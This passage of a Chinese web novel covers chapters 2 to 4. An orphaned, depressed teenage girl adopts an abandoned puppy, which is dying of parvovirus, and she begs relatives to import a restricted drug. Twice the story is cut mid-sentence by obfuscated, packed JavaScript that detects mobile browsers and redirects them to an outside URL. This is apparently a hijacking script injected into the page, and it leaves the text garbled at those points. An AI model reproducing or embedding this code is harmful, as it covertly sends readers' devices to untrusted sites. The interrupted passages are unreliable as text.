《怪谈男友》 2. 第二章 “大哥大嫂一走,公司怎么办。” “只能是我们顶着了,还能怎么办。” “那,”年轻女人的目光扫向墓碑前的小女孩,“小琦呢?” 两男两女沉默片刻,年纪稍大的女人开口,“交给我们家吧。” “不用,别。”年轻的男人拦她,“轮流着来,我们家也不差这一口饭。” “问问她吧。”妻子扯了扯他的袖子,轻声道,“我们俩先问问她。” 她和年纪大些的女人走向了墓前的少女,两人弯下腰,温声细语地同少女说话。 两个男人稍远些站着,年长的男人眉头紧锁,一根接一根地抽烟。 他们没有说话,彼此间沉默着,直到双方妻子回来。 “怎么样?”年轻男人问,“小琦怎么想的?” 他妻子摇头,“小琦说,自己住。” “那怎么行啊,她才多大。” “她说再有半年中考完,反正高中也得住宿。” “啊……住宿。”年轻男人张了张嘴,“住学校还行。” 始终无言的中年男人吐出一口烟来,“生活费,得给点儿啊。” 四人面面相觑,谁都没有贸然开口。 良久,年长的女人笑了下,“这公司毕竟是小姑子他俩的,咱们谁也别心疼。这样吧,每年咱们拿多少,各取四分之一出来给小琦。” 没有人接话。 她扭头看向抽烟的男人,“老公,你说呢?” 中年男人夹着烟,点点头,转过身继续抽烟。 年轻的夫妻便也跟着答应,“好吧,那就先这样。” 他们又望了眼墓前的少女,她垂着头,一只胳膊吊着石膏,看不清表情。 “唉,这叫什么事儿啊。”年轻女人于心不忍地叹了口气,“好好的生日出去玩,遇到个醉驾的,这真是上哪说理去。” “是啊,眼睁睁看着父母死在自己面前。” “赔偿金额确定了吗?” “对方不同意,打官司呗。” “行啊,你多上点心。不止是肇事者的赔偿金,还有小姑子他们的保险赔偿。” “我知道我知道,我会盯着的。” …… “嗯、嗯,我知道的婶婶,我这里都好。” 卢琦打着伞,背着书包,走在路上。 她呼出一口白气,“对,我在宿舍。” “真的不用婶婶,今天周三,我在学校呢。” “学校就周六放假,我在家也就住一天,你和舅妈她们不用过来看我。” “不用,真的不用买蛋糕了。” “同学都很好相处,放心吧婶婶。要熄灯了,我先挂了。” 电话挂断,几点雪粒子顺着风,吹在了卢琦的球鞋上。 她一手打伞,一手提着塑料袋,里面装着两盒药,隐约可见“舍曲林”“西酞普兰”等字样。 高一不过三个月,卢琦申请了走读。 她尝试了,可还是没有办法适应集体生活。 心理医生联系了学校,建议让卢琦自己住。 高中离家很远,一个城东一个城西,来回通勤四个小时。卢琦找了中介,在学校附近租了房子。 中介费有点贵,但人家没问她是不是未成年的学生。 这是片很老的小区,芝麻大点的几幢矮楼,物业都没有成立,业主们自己凑钱请了个保洁,又请了两个退休老人轮流看守保安亭。 小区前后路段的灯坏了几盏,卢琦打开手机的手电筒,抹黑走着。 “呜呜。” 呜呜的风声中,她听见了一声嘤咛。 电筒的光抬起,卢琦愣了下。 人行道上、绿化带前,坐着只猫儿大的幼犬。 它看见了她,两只前爪不安地踩了下地。 卢琦从它面前经过,它没有跑,仰头看着高大的她。 走出两米,卢琦扭过头,又看向它。 小狗周边的地面积了一层雪,很薄,像是糖霜,它那浅金色的毛毛也像是淋了层糖霜。 四目相对,它扭着小腰朝她走来。 卢琦迟疑片刻,蹲了下来。 “你怎么了。”她问小狗,小狗走到她脚边,摇着尾巴,嘤嘤地叫。 卢琦抿唇,将药放进书包,试探着伸出手。 她接触到了一片湿凉。 它沾了层雪,等毛发外的那点雪被卢琦的体温融化后,她接触到了小狗的温度。 暖呼呼,软乎乎。 她很顺利地抱起了它。 两只手抱着狗,她用脖子夹着伞,左右张望了番,没看见任何人。 “不好意思,打扰一下。”她先去了小区的保安亭,问了守夜的大爷,“您知道这是谁的狗吗?” 昏昏欲睡的大爷掀起眼皮,看了一眼,“咱小区没有养这种狗的。” 卢琦欠身,“打扰了。” 她退了出去,想了下,去了路口的派出所。 “您好,我捡到了它,能帮忙找下它主人吗?” 值班的女民警拿了扫描仪过来,在小狗的脖子附近扫了下。 “没有项圈,也没有注射芯片啊。” 卢琦说:“我是在前面那段路捡到的,早上出门的时候还没有。” “行,我查下监控。” 女民警操作了一会儿,把屏幕转给卢琦看,“查到了,你看这儿。” 六点钟,天色全黑后,一个戴着鸭舌帽的男人提着狗笼走过监控。 帽檐遮挡住了他的脸,等他再度出现时,笼子已经空了。 “不出意外,是遗弃了。”女民警总结。 卢琦茫然了一会儿。 她低头,看向怀里的小狗。 “可它、它是金毛啊。”她讷讷开口,“怎么会有人丢品种狗呢。” “过往的经验来看,要么家里养不下,要么是行为习惯有问题,又或者,”女民警停顿了下,“是生病了。” “现在有两个方案。”见她还是个学生,女民警提议道,“第一个呢,交给附近的救助站,我给你他们的电话。” “另一个,就是你带回去养。” 胖嘟嘟的小狗抬头。 漆黑的圆眸原原本本倒映出了卢琦的脸。 她感受着小狗的体温,这一年来,卢琦是第一次拥抱些什么。 她抱着狗,下巴忽然一阵湿热。 小狗前爪搭着她的胸口,仰头伸出舌头舔舐她的下颚。 卢琦说,“麻烦您了,我先带它回去吧。” 她带着狗回到了家里。 打开出租房门,小狗落了地,摇晃着尾巴,低头四处嗅闻。 这间老旧的一室一厅没有因为多了一个生命而显得逼仄,它太小了,和只猫差不多。 卢琦放下伞,从房子里翻出两根火腿肠。 刚把火腿肠的包装撕开,奶呼呼的金毛便一扭一扭地小跑过来。 黑色的小鼻子贴在香肠上不停嗅闻,它显然很感兴趣,却一口不吃。 “吃吧。”卢琦把香肠又往前送了送。 小狗闻了一会儿,退了开去。 “不饿么?”卢琦放下香肠,“那我给你弄点水吧。” 她烧了热水,拧开一瓶矿泉水,掺兑了半碗,放到床头边。 金毛跟着她跑了过去,把嘴埋在碗里,咕咚咕咚卷水喝。 卢琦蹲在它旁边,看它大口喝水的样子。 她小心翼翼地伸手,轻轻摸了摸奶狗的脊背。 奇特的感触,她为这个和她完全不一样的小生命感到神奇。 小狗没有躲开,它从碗里抬头,亲热地贴近了卢琦,拱着头往她怀里钻。 卢琦说不出这是什么感觉,这种感觉,比见完心理医生还要好上许多。 她抱着骨头都软的小狗坐去床上,唇边泛起了一丝微笑,“好吧,那我就来养你吧。” 她说:“得给你起个名字。” “你和我姓,卢——卢、卢……”卢琦沉吟,“就叫露露吧,卢露露。” “嘤!”它扫着尾巴,声音算不上叫,只能算是哼唧。 “露露、露露。”卢琦笑开了。 十五岁的卢琦觉得,这就是命运。 一年前,在她生日那天,她失去了双亲; 一年后,同样是在她生日这天,她捡到了一个小生命。 “我没有养过狗,但我会负起责任好好养你。”她对小狗承诺,“以后,我们就一起生活了。” “嘤!”小狗听不懂,但它回应她的每一句话。 第二天,卢琦请了晚自习的假,去宠物商店买了狗用品。 航空箱、尿垫、狗绳、狗粮、零食、无酒精湿巾,以及项圈。 “麻烦帮我刻上名字。” “好的,请问小狗叫什么呢?” “露露。叫露露。”卢琦说着,只是念出这两个字,表情便不自觉柔和下来。 她的房子里,有一个小东西在等她回去。多么神奇。 “好的,露露。” “等一下,还有……”她交代店员,“反面请刻上我的电话号码。” 卢琦拎着东西回去。 半小时买的东西,价格超过了一个月房租。 卢琦其实不是很缺钱,她没有动父母的死亡赔偿金,叔叔和舅舅每个月也会给她打钱。 最近两个月比之前少了点,卢琦没有去问,她不是很在乎。 这一年光是两边打给她的“分红”就超过了六位数,所以在听女民警说,小狗可能是因为生病被丢弃时,卢琦没有犹豫。 她应该治得起。 在父母的周年,失去家人的她遇到了这只被遗弃的小狗。 卢琦想,也许,这是爸爸妈妈送给她的生日礼。 回到那间破旧的出租屋,还没拿出钥匙,隔着门,卢琦就听到了小狗急切的叫唤。 门一打开,摇尾晃脑的小狗扑上了她的腿,跳着叫着,嗷呜嗷呜。 “我回来啦。”卢琦放下袋子, “看看买了什么,都是你的东西。” 她把袋子解开,一件件拿出来给露露看。 “这是你以后的饭碗、这个是水碗,这个是狗粮,喜欢这个味道吗?” “这个是球球,以后我们可以一起玩,还有这个——” 她从零零碎碎的东西里抽出那个刻了字的项圈。 露露被她抱了起来。 卢琦将项圈系到它脖子上,项圈被狗毛淹没,几乎隐形,只剩下一小块金色的铭牌吊在小狗胸口。 卢琦把牌子拨正,指着上面的字念给它听:“露、露。” “这是你的名字。” 她转动铭牌,“反面是我的电话。要是你一不小心走丢了,会有人给我打电话,我马上过去接你。” 露露乖乖坐在她怀里,随着她说话停顿的间隙嘤嘤哼唧。 “来,试试你的饭饭。”卢琦起身,给它倒了一点狗粮出来。 露露凑去闻了闻,甩甩尾巴走开了。 “你这么挑食吗?”卢琦惊讶,“香肠不吃,狗粮也不吃,这是进口的牌子,别的狗狗都很喜欢哦。” 露露充耳不闻,它趴在卢琦脚背上,像是一团柔软的土豆窝着卢琦的脚。 卢琦心都化了。 “好吧,第一餐得吃点好的。”她去开罐头。 这回露露总算是赏脸,敷衍地舔了几口。 是还没到吃肉的年纪吗?卢琦疑惑。 她不知道狗狗多大断奶,在店员的推荐下,也买了羊奶粉。 泡好羊奶,小狗终于被吸引,卧在盆前啪嗒啪嗒地舔。 它喝掉了一层,开始打哈欠。 卢琦的新奇感没有过去,她想和它玩球,可见小狗困倦的模样,还是把它抱去了床上。 “睡吧,”她给它盖了点被子,“我也要写作业了。” 桌子挨着床,卢琦打开台灯,她写了两科、煮了碗泡面当做晚餐,接着把剩下的科目写了。 直到晚上十一点,她洗了澡上床,露露都还在睡觉。 它中途醒了一次,晃晃悠悠地去舔了舔水碗,然后蜷在卢琦脚边闭上了眼睛。 那小小的一团,随着呼气轻浅起伏着。 卢琦心里柔软一片。 她躺在床上,小心避开了露露,生怕晚上翻身压住了它。 半夜,她忽然感觉脸旁一热。 半梦半醒的小家伙朝她爬来,直到贴住她的脸颊,才又昏昏睡去。 毛茸茸的东西贴脸,卢琦猛地惊醒。 她打开灯,看见枕头上的小毛球,才后知后觉意识到:她有小狗了。 这是她的小狗。 她复又躺了下来,反手抚摸着露露柔软的绒毛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775068|174669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这样乖巧亲人的狗狗,不该被人抛弃。 再上一天学就是周六,卢琦惦记着女民警猜测的原因,打算周六早上就带露露去附近的宠物医院做个检查。 她盘算着养露露要做的准备工作,在充满奶香味的温度里沉沉睡去。 六点半,手机闹钟叫醒了卢琦。 她霍然睁眼,对上了窗外的天光。 卢琦恍惚了一瞬,记不起上次一觉睡到早上是什么时候了。 恍惚之后是匆忙的出门准备。 “露露,我去上学了,你乖乖待在家里。”她一边穿外套一边急着往外走。 小狗没有像昨天早上那样送她,它窝在枕头里,只掀起眼睑看了卢琦一眼,复又懒洋洋合上。 “变脸这么快啊。”卢琦笑着,过去揉了揉它的脑袋,“给你倒了羊奶,记得喝哦,我中午就回来。” 她穿上鞋子,打开房门,和露露再次道别,“我走了,白白。” 咕、咕、咕咕—— 卢琦按下把手,倏地听见一阵异响。 她扭头,就见露露坐在枕头上,弓背张嘴,身体一阵一阵抽搐。 一连抽搐了七.八次,它哇地吐出一滩白色透明的小泡沫。 卢琦立刻放下书包。 她没有任何养狗经验,大脑空白了一阵,急忙拿出手机搜索狗呕吐的应对方法。 找了几个视频,她一一对比着视频里的呕吐物,总觉得哪一种都不太像露露吐出来的东西。 保险起见,卢琦还是决定请假去趟医院。 “走,露露。”她抱着软绵绵的小狗进了航空箱,“我们去看医生。” 第一次被关进航空箱,露露有些坐立不安。 它焦躁地在箱子里转圈,爪子扒拉铁丝门,发出嘤嘤的呜咽。 所有视频里的博主都在说,幼犬呕吐是很常见的事情,不需要担心,可不知为何,卢琦莫名有些心慌。 所幸学校附近的宠物医院不少,打车不过十分钟就到了地。 “您好。”前台没有见过她,询问她的情况,“怎么了?” “您好医生,”卢琦慌张把航空箱提起来给她看,“我有一只小狗,早上突然呕吐了,可能是肠胃不太舒服。” “好的,我叫医生,您先来这边的诊室。” 卢琦连连点头,抱着航空箱坐在诊室里。 露露在笼子里呜呜求她,想要出去。 “乖啊,乖。”卢琦把手指伸进去,隔着航空箱的门抚摸它。 露露舔了舔她的指尖,安分了些许。 约莫等了五分钟,医生走了进来。 他询问了卢琦关于露露的基本情况,末了,推了推眼镜。 “现在有两种可能性。”他说,“一种是它有肠炎,这个很容易,我给你开点药,马上就能见效。另一种呢,额……” 他顿了顿,看向对面茫然的女孩。 “听你的描述,比较像是细小。” 卢琦眨了眨眼:“细小?” 医生解释,“犬细小病毒……嗯,你知道猫细小病毒吗,那个也叫做,猫瘟。” 卢琦依旧不明白什么是细小,也不知道什么是猫瘟,但“瘟”这个字一出来,她意识到了事情似乎有些严重。 “能治吗?”她只关心这个。 “先抽血化验吧。” 整整半个小时,医生才拿到了化验单。 他坐了下来,把单子放到卢琦面前。 “结果出来了,红细胞压机增高,白细胞指数非常低。正常狗的白细胞在5.05-16.76,它的白细胞只有1.4。” 卢琦懵澄地问:“意思是,确诊了?” 医生点头。 他忽然翻开露露的耳朵,卢琦微微睁眸,第一次看见露露耳朵里的情况,里面纠结着一团黑色的污垢。 “得了细小病毒的狗狗,白细胞指数也有可能是在正常范围内。但露露不仅白细胞非常低,酸性粒细胞也低的几乎测不出来了。你看,它的耳螨相当严重。” “这表示它之前生活的环境非常糟糕,体质非常弱。” 卢琦听不太懂,一味望着医生。 “为什么要和你说它的免疫力呢,因为国内犬细小是没有特效药的,是纯靠自身免疫力去抵抗病毒。” “它的免疫力,可以说几乎是0。” 医生叹了口气,“根据你的说法,它是被遗弃的,到家已经两天没有进过食了。那么从主人检测出它有细小、到现在,起码过了三天。” “细小的治疗期是一周。” “一周内能好,就能好;一周内好不了,就……”他摇头,“拿癌症比的话,它现在已经是晚期了。” 大致情况讲完,医生询问卢琦,“那你考虑一下?看看是先回家,还是怎么样。” 他甚至没有提及治疗方案和费用。 卢琦张了张嘴。 手腕忽然触上了湿热。 她低头,看见柔软小狗伸着舌头舔她的手腕,短短的小尾巴在她怀里摇。 “能治吗医生?”她又一次问,“不差钱的,怎么治都行。” 医生低头,推了下眼镜,意识到年幼的主人根本没有听懂他的暗示。 女孩太小,还穿着校服,他索性直白地规劝,“刚才我也说了,细小病毒,是要靠自身免疫力抗的一种病毒,是没有特效药的,尤其是你带来的有点晚了。” “如果坚持治疗的话,我们能做的只是输液、打点白细胞给它,这个费用不低,而且治疗效果可能还不太理想。” “可它,看着很好啊?”卢琦茫然。 它能跑能跳,还会嘤嘤地叫,它明明看着很好啊。 “你要知道,动物都是很能忍痛的。你看着它没什么事,那是因为它拼命在忍。”医生无奈道,“作为医生呢,我也不能说让主人别治了,只是说,后期治疗确实不太乐观。目前情况来看,这只小狗随时都有可能去世。” 卢琦怔怔坐在位子上,呼吸微疾。 她甚至还不理解露露到底生了什么病,一阵熟悉的耳鸣就贯穿了大脑。 救护车、警车的鸣笛在她耳中回荡。 不同的生命,不同的医院,不同的医生通知了她同样的话—— 钱拉不回命,他们没有办法。 色铭牌在小狗胸前晃荡,正面是它的名字,反面刻着卢琦的电话。 3. 第三章 卢琦去超市买了一块浴巾。 办理完住院,医生让她把露露在家的毯子、食物拿过来,说是熟悉的气味会让小狗安心。 可她家里根本没有露露熟悉的东西。 卢琦提着新买的毛巾回了医院。 她看着笼子里的小狗,小小一团,前爪上插着留置针,防止它咬掉针头,脖子上戴了塑料头套。 它蔫蔫地趴在尿垫上,看见卢琦,立刻站了起来,冲她嗷呜嗷呜地急叫。 两只前爪,不管是插了针的还是没插针的,都在焦急地扒拉金属门。柔软的小狗鼻子和小狗嘴巴也拼命往外钻,从栏杆之间挤出了些许。 它的精神看着还好,卢琦放了点心。 医生接过她带来的东西,“探病时间是中午和下午,可以来多陪陪它。每天我们也会在群里给你发它的视频和照片。” 卢琦点点头,“谢谢您。” 医生反复强调细小的严重性,可既然有不少救治成功的案例,露露看着又还算活泼,她还是愿意往积极的方面去想。 卢琦隔着笼子摸了摸露出来的小狗鼻子。 “乖乖在这里听医生的话,晚上我再来看你。” 她把昨天买那颗球球也一起带了过来,要是露露无聊,可以看着玩玩。 “那就先这样,有任何情况,我们会随时通知你。”医生说。 卢琦嗯了一声,她朝门走去,迈出住院区时,听见了小狗焦虑的嘤咛。 它一声追一声地喊她,卢琦回头,见它用柔软的前爪拼命刨着铁门,后脚踮立,漆黑的圆眸操切追随卢琦即将消失的身影。 “呜呜嘤——” 那双眼睛像是在问卢琦:这是哪里?她要去哪里?她忘记带上它了! 鼻尖微酸,卢琦别过头去。 她不是医生,留下来也没有用。 她在前台缴了两千的住院费,医生欲言又止,她顾不得去理解他的善意提醒。 探病的时间和晚自习冲突,卢琦再次请了假。 学校老师知道她有心理疾病,批假方面向来爽快。 夜色沉沉,下午的课结束后,她背着书包匆匆赶去医院。 趴着睡觉的小狗察觉到动静,睁眼看见卢琦,立即跳了起来,冲她欢快期待地甩尾巴。 它以为,她来接它回家。 卢琦泛起点笑意,助理护士帮她打开笼子,露露扑进她怀里。 还是软软热热的一团。 “今天还是没有吃东西。”助理的语气却不算太好。 卢琦搂着小狗,顺着助理的目光看向笼子里的两个铁盘,一个装着狗粮,一个装着水。 “还吐吗?”她问。 “打了止吐针,没吐了。” 这听起来是个好迹象。 卢琦在这里待了半个小时,把露露放回了笼子。 它离开了她的身体,被锁进笼子,茫然地望着她,一遍遍地喊她回来,直到彻底看不见卢琦。 卢琦回到出租屋,写了两页数学,手机震动了几下。 宠物医院拉的群里,有助理医生发来视频。 尿垫上有一小块黑红色。 助理通知卢琦:还是没有进食,晚上出现了拉稀便血。 卢琦懵了一下,对着放大的黑红色,大脑蓦地眩晕。 她放下手机,拿起笔点在未写完的公式上,僵停许久,她蓦地松开笔,去拿放在桌上的舍曲林。 拆开药盒,她想起什么,又急忙去拿手机,在群聊里输入一句: “麻烦医生了。” 这行字打完,卢琦握着手机,开始在网站、论坛里搜索犬细小相关的资讯。 第二天早上,群里发来了一份文件。 主治的齐医师在下面回复:这是露露今天的血检报告。 :白细胞上去了一些 :还不肯吃东西 :现在只要它愿意吃东西了,就算是脱离危险了。 卢琦点开那份文件,各种专业名词和缩写撞入眼帘。 她看不懂,听医生的说法,似乎是在好转。那就是个好消息。 学生午休是不允许出校的,卢琦找班主任开了出门单,班主任询问时,她沉默了下,说心理医生让她最近多找她聊聊。 班主任不疑有她,给她批了三天的条。 她打车去医院,在医院的宠物用品货架上扫了一袋咕噜酱。 医生说,只要露露愿意吃东西,这个病就算好了。零食里的诱食剂比较多,或许能打开露露的胃口。 助理医师帮她打开了铁笼。 露露在里面迫不及待地徘徊。 它和卢琦相处不过三天,也不知道为什么对她这么信赖。 笼子里,蓝白色的尿垫下增加了一个加热垫,助理给卢琦解释,“它身体特别虚弱,现在要维持它的核心体温。” 卢琦抱住朝她扑来的露露,发现它换了只插留置针的爪。 助理说,“那只爪爪浮肿了,针插不进去,换了一只。” “那您在这里陪它一会儿,有什么事就叫我。” 她关上了门,卢琦把露露放在腿上。 露露低头拱着她的手,小尾巴灵活地转着圈甩。 她拧开那袋咕噜酱,避开输液管,轻声哄着,“露露、露露,吃一点好吗?很香的,对不对?” 露露闻了闻,没有张嘴。 它甩了一阵尾巴,趴下来,窝在卢琦的腿上眯起眼睛打瞌睡。 卢琦挖起它的脑袋,继续哄它:“吃一点吧,吃一点点好不好?你已经快四天没有吃东西了,露露……” 露露困倦地垂头,脖子绵软,稚嫩的小狗头几乎是融在了卢琦掌心,对嘴边的零食毫无食欲。 卢琦将它抱起来,骤然看见校裤上有水迹。 她以为是露露尿了,用纸一擦,纸巾上的质地像是凝结成块的经血。 那抹鲜红赫然撞入卢琦眼中,令她头眩耳鸣,口鼻间皆是浓厚的血腥气。 卢琦急忙将露露放回笼子里,开门去喊医生。 主治医师带着助理赶来。 他调整了输液的速度,让助理测试体温,一边抽空对卢琦解释:“肠粘膜。” 卢琦站在后面,以免妨碍到救治,“肠粘膜?” “对,”医生用了便于理解的说法,“细小病毒会啃噬狗狗的肠道。它这两天拉出来的,就是被啃噬后流出来的血和黏膜。” 卢琦一颤。 她越过忙碌的医生,看见蜷缩在尿垫上的小狗。 “它……”卢琦张了张嘴,“它在发抖,是冷吗?” “冷,而且痛啊。” 他给露露换了个头套,塑料头套摘下的时候,刮到了它胸口金色的小铭牌。 医生摘下了那根项圈,交到卢琦手里,“这个,先收着吧,不然脖子上戴两个,不舒服。” 卢琦无言,把刻有露露名字和她电话的项圈攥在手里。 晚上,她在家里收到了医院传来的视频。 助理医生摸着露露的脑袋,它闭着眼,一动不动,仿佛睡得极沉,只有腹部在小幅、快速地起伏着。 翌日早上,又是一份的血检报告发了过来,比前一天的时间更早。 医生没有解析,他问卢琦:今天方便过来聊一下吗? 卢琦赶过去,医生带她去了诊室。 “是这样的,昨天晚上,我们进行了一次紧急抢救。”他说,在看见卢琦唰白的脸色后,立刻补充,“是救回来了的。” 卢琦松了口气,医生又道,“但是早上的血检,数据很不理想。正好你预缴的住院费已经差不多扣完了,找你来是想谈谈,后续的方案。” “治,我治。”卢琦说。 医生踌躇,“要不,你先去看看它吧,看完了再做决定。” 卢琦起身。 她没有走向住院区,径直去了前台缴了两千。 两千、四千、六千、八千…… 露露的情况越来越差,它始终没有进过食,有点虚胖的小奶狗渐渐显出了肋骨。 卢琦抱它的时候,像是捧着一把骨头,每一段脊椎都看得见、摸得出来。 它身上的奶味消失了,变成了污血和医院的气味。 但它不是一天比一天差的。 卢琦收到的血检报告时不时会变好一两个点,每次小数点后两位的变化,都让她觉得看见了希望。 细小的七天治愈期结束了。 露露依旧没有进食,可它也没有死啊—— 它没有死啊,并不像医生说的那样七天一到,治得好就好,治不好就死了。 它还活着,见到卢琦时,会用浮肿的前肢,撑起瘦骨嶙峋的身体,对着卢琦摇尾。 它那样期待且信任地看着她,不管卢琦把它丢在笼子里多少次,下一次见面,它永远热诚雀跃地迎接她。 每天晚上,各种各样的讨论帖在卢琦眼前翻过: 《细小第六天,狗狗去世了》 《犬细小转好的五个迹象》 《求大神指点,这个情况的狗还有没有治疗的必要》 《康复第十天:医生劝我放弃,还好我坚持了下来》 她的搜索引擎下布满各种历史记录: “犬细小后遗症”、“一个月大的金毛细小治愈率”、“专业犬细小医院”…… 夜班的出租屋,手机的荧光彻夜亮着。 垃圾桶里丢着两盒吃完的药,露出来的部分隐约可见“舍曲林”“西酞普兰”等字样。 治疗第五天,细小第八天。 卢琦将露露放回笼子时,发现它走路晃悠,站不稳,尾巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775069|174669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不像之前甩得欢快了。 医生沉默了下,说“……贫血。这么丁点大的小狗,每天抽血验血的,贫血了。” “那、那不要每天验血了。”卢琦说,“两三天看一下就好。” 医生点头,“好。” 露露的两只前爪都被剃了一截毛,轮流着插留置针。 它屁股上的毛也被剃了。 便血不止,黏膜和血的混合物粘在了屁股上,为保持干净,助理医师把被血纠结的毛都剃了,没了毛发的遮掩,它看起来瘦得骇人可怖。 不需要血检报告,露露的状态也一目了然。 它后腿颤抖得越来越厉害,尾巴也很少摇了。 助理医生在卢琦腿上垫了尿垫。 她必须垫着尿垫,才能抱露露,否则仅仅是半个小时的探望时间,衣服便会沾上温热的血肉。 治疗第七天,确诊第十天。 露露看见她,没有摇尾巴。 它还是费劲地撑起身体,迎接她的到来,只是尾巴僵软地垂在两股之间,不再动了。 卢琦双手止不住地抖,准备走的时候,她像是把一抔温凉的骨头放入了笼子里。 露露没有叫她。 它趴在笼子里,安静地目送她。 卢琦木然地下楼,她推开诊室的门,问:“医生,还有没有别的方案?” 医生沉默。 少女说话的声音很轻,扬尘一样浮在空中,看着他的眼神却让医生沉重无比。 她在求他,求求他再给她点希望。 “可以试试看换血。”医生推了推眼镜,“把健康狗狗的血液送进露露身体里。新注入的血液里有成熟的免疫细胞,或许可以帮助它对抗病毒。” 那双布满血丝的眼睛顿时亮了,像是往沙里注入了一涓清水。 卢琦忙不迭失地点头,“好、好的。” 她复又焦急,“可我不知道哪里有狗狗愿意献血。” “这个我们可以帮忙找,”医生说,“你先回去吧,找到了我会通知你。” “好的,好的,谢谢医生,真的谢谢。” 晚上十一点,卢琦收到了医院发来的视频。 医生先用医院里收养的几只遗弃犬配型,有两只都和露露匹配上。 视屏里,他一手举着血袋,一手安抚着露露。 细细的输血管从他手中的血袋送进露露身体里。 第二天,露露的各项指标有了飞速的进步。 被注入新鲜血液的不止是露露,一股生机的暖流也打入了卢琦内心。 她万分庆幸,幸好她没有放弃。 奇迹就要发生了—— 然而,这是个宛如泡沫的奇迹。 输血带来的提升,虚假又短暂。 不过一天,那袋健康的血液便全军覆没,新来的免疫细胞被凶猛的病毒吞了个干净。 “其实一直这样撑着,它也痛苦。”医生不知第几次劝说,“我理解你,你是第一次养狗,心里肯定有很多期待,一上来遇到这种事情,肯定接受不了。” “但你要考虑到,露露的情况,就算治好了,也会有非常严重的后遗症,这对它来说是终身的痛苦。” 卢琦点头。 她知道、她知道,她知道差不多得了,它每天待在这里,一天六.七支小针、二十四小时的留置针。 狗是很会忍痛的,但那些小针打进去的时候,她隔着门都能听到露露尖叫。 光治疗就如此痛苦,它的肠子还在被病毒不停啃食。 流出来的肠粘膜有多少?这只一个月大的小狗肚子里还有一截好肠子吗? 够了,卢琦想够了。 可当她去和露露诀别,它戴着头套、用插了针的前爪撑起嶙峋的身体,迫切朝她望过来时,卢琦只能说:“医生……还有别的办法吗。” 它那么小,它还没有看过这个世界啊。 医生摇头,“能用的办法,我们都用了。” “能不能,再换一次血。”卢琦乞求。 “可以,”医生答应,“但是最后到底有没有用,很难讲。” 他叹息,“国外倒是有特效药,去年我们同事还带回来了两支,但是现在被禁了,没办法带进来了。” “特效药?”卢琦蓦地抬眸,“多少钱可以拿到?” “这不是钱不钱的问题,是我们海关有管制。” 听见“特效药”三个字,卢琦稍稍恢复了些理智。 “能不能,发个图片给我。”她说,“我回去问问家里人。” 医生无力劝说,他清楚这姑娘有多犟。 他把图片发给卢琦,答应了第二次输血。 卢琦站在笼子前,指尖碰了碰露露的脑袋。 它站不起来了,费力扭头,伸出苍白的舌头舔了舔她。 4. 第四章 “九千!” 舅妈不敢置信,“你为了治一条别人不要的狗,花了九千?” 卢琦坐在饭桌对面,一言不发。 “小琦,我们打给你的钱,不是让你这样挥霍的啊!”年近五十的女人失望震惊,“九千——你妈妈怀你的时候,挺着大肚子理货架,那时候,她连九十块钱的衣服都不舍买;就是她去世之前,也没舍得买九百块的衣服。” “你爸妈辛辛苦苦白手起家,好不容易有了个小公司,这是他们唯一留给你的资产了,你就拿这钱喂狗啊!” “话不能这么说。”坐在卢琦身边的婶婶打断激动的舅妈,温声道,“但是小琦,你还是个学生,做这样大笔消费的时候,是不是应该先和大人商量一下呢?” “嗯。”卢琦干脆利落地道歉,“对不起。” 她道了歉,直奔主题,“医生说国外有特效药。舅舅、小叔,能不能帮我带一支回来。” 大人们听出来了,她根本不是真心道歉。 “小琦,不是小叔不帮忙,但我们的业务和医疗没有一点联系,和境外也没有任何接触。连专业医院都弄不到的药,你让我们上哪去弄呢。” “是啊,学校有学校的纪律,国家也有国家的法律。既然国家规定了不允许,那一定是有原因的。小琦,你可是个好孩子,不能这么任性。” “我查过了。”少女转身,从书包拿出了一份文件,放在了桌子上。 “这是不会引起人类疾病的药物,海关对它的管制在C级,只要提前报备审批就可以带进来。” 那双黑白分明的眼睛望向四个大人,“医院没有药,是因为限定了入境数量,最新的《入境管制药品》清单上标注了每人可携带200毫克,露露只需要100毫克就行。” “这是我查到的药品入境报备审核流程,很简单的,网上就能操作,可我还没有成年,不能自己报备……” “舅舅舅妈,叔叔婶婶。”她央求,“国外的医院我已经联系好了,如果顺利的话,审批只需要两天,只要你们帮我去国外找一个成年人,到我联系好的医院,把药带回来就行。” 四人惊愕。 他们以为卢琦不过是一时兴起,可当她拿出这份报备操作流程时,他们都清晰感受到了卢琦的决心。 她是认真的。 “你这孩子…”舅妈诧异地看着对面的少女,“怎么这么倔呢。” 不过十五岁的女孩儿,一声不吭的,居然把国外的医院都联系好了。 卢琦沉默片刻,倏尔开口,“我知道自己麻烦了你们很多,我也知道爸爸妈妈突然离开,你们也措手不及。” “叔叔舅舅、舅妈婶婶,我保证,这是最后一次了,如果公司有困难,就不用给我打钱了,我用不到那么多钱。” “这不是钱的事,你怎么能这么想。”婶婶说了一句,另外三人却没有接话。 婶婶愣了下,见首座的卢琦舅舅缓缓开腔,“公司的事,你不用担心。药的事,我帮你琢磨琢磨的。” 他说完,拿起筷子,“先吃饭吧。” 大人们纷纷附和,卢琦坐着没动,拿出手机。 半分钟后,舅妈和小叔手机各传出了消息震动。 卢琦握着手机,“舅舅、小叔,托人办事的红包,我先转过去了,要是不够,你们再和我说。” “时间不多,求求你们、拜托了。” 舅妈本想把钱退回去,看了眼数额,顿住了。 